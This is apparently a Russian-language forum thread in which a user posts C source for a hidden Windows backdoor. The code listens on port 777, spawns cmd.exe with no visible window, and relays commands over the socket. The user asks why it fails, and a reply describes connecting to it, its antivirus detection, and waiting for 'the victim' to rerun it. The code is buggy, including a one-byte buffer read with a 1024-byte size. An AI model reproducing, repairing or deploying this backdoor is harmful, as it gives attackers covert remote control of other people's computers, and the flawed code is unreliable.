#include <windows.h>
main()
{
SECURITY_ATTRIBUTES sa;
SOCKET s,s1;WSADATA wsaData;
sockaddr_in adr,adr1;
adr.sin_family=AF_INET;
adr.sin_port=htons(777);
adr.sin_addr.s_addr=INADDR_ANY;
HANDLE cstdin,wstdin,rstdin,rstdout,cstdout;
LPDWORD fexit; int MAX_BUF_SIZE=1024;int a;
STARTUPINFO si; LPTSTR SHELL="cmd.exe";PROCESS_INFORMATION pi; DWORD N,total;
char buf[1];
sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
WSAStartup (MAKEWORD (1,1),&wsaData);
s=socket(AF_INET,SOCK_STREAM,0);
bind(s,(sockaddr*)&adr,sizeof(adr));
listen(s,3);
if (!CreatePipe(&cstdin, &wstdin, &sa, 0)) return -1;
if (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1;
GetStartupInfo(&si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = cstdout;
si.hStdError = cstdout;
si.hStdInput = cstdin;
s1=accept(s,(sockaddr*)&adr1,NULL);
if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0,0,&si,&pi)) return -1;
GetExitCodeProcess(pi.hProcess,(LPDWORD)&fexit);
while (fexit == (LPDWORD)STILL_ACTIVE)
{
if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)
{
for ( a = 0; a < total; a += MAX_BUF_SIZE)
{
ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0);
send(s1, buf, N, 0);
}
}
if (!ioctlsocket(s, FIONREAD , &N) && N)
{
recv(s1, buf, 1, 0);
if (*buf == '\x0A') WriteFile(wstdin, "\x0D", 1, &N, 0);
WriteFile(wstdin, buf, 1, &N, 0);
}
Sleep(1);
}
}
Проблема с реалезацией шелла под windows
Код:
Только вот неработает :( .Сколько не пытался понять в чем дело(то ли accept не там, то ли с циклом что не то)
- безрезультатно :mad: .Знающие люди подскажите плиз где я ошибок налепил.
делаеш свой клиент, конектишся на 777-ой порт, запускаеться консоль(скрытая, каманды передавать-получать через твоего клиента).
Палиться любым антивирем:)
А вот то что приконектился один раз - и все, следуйший раз не получеш.:D прийдеться ждать пока жертва твою програму сама перезапистит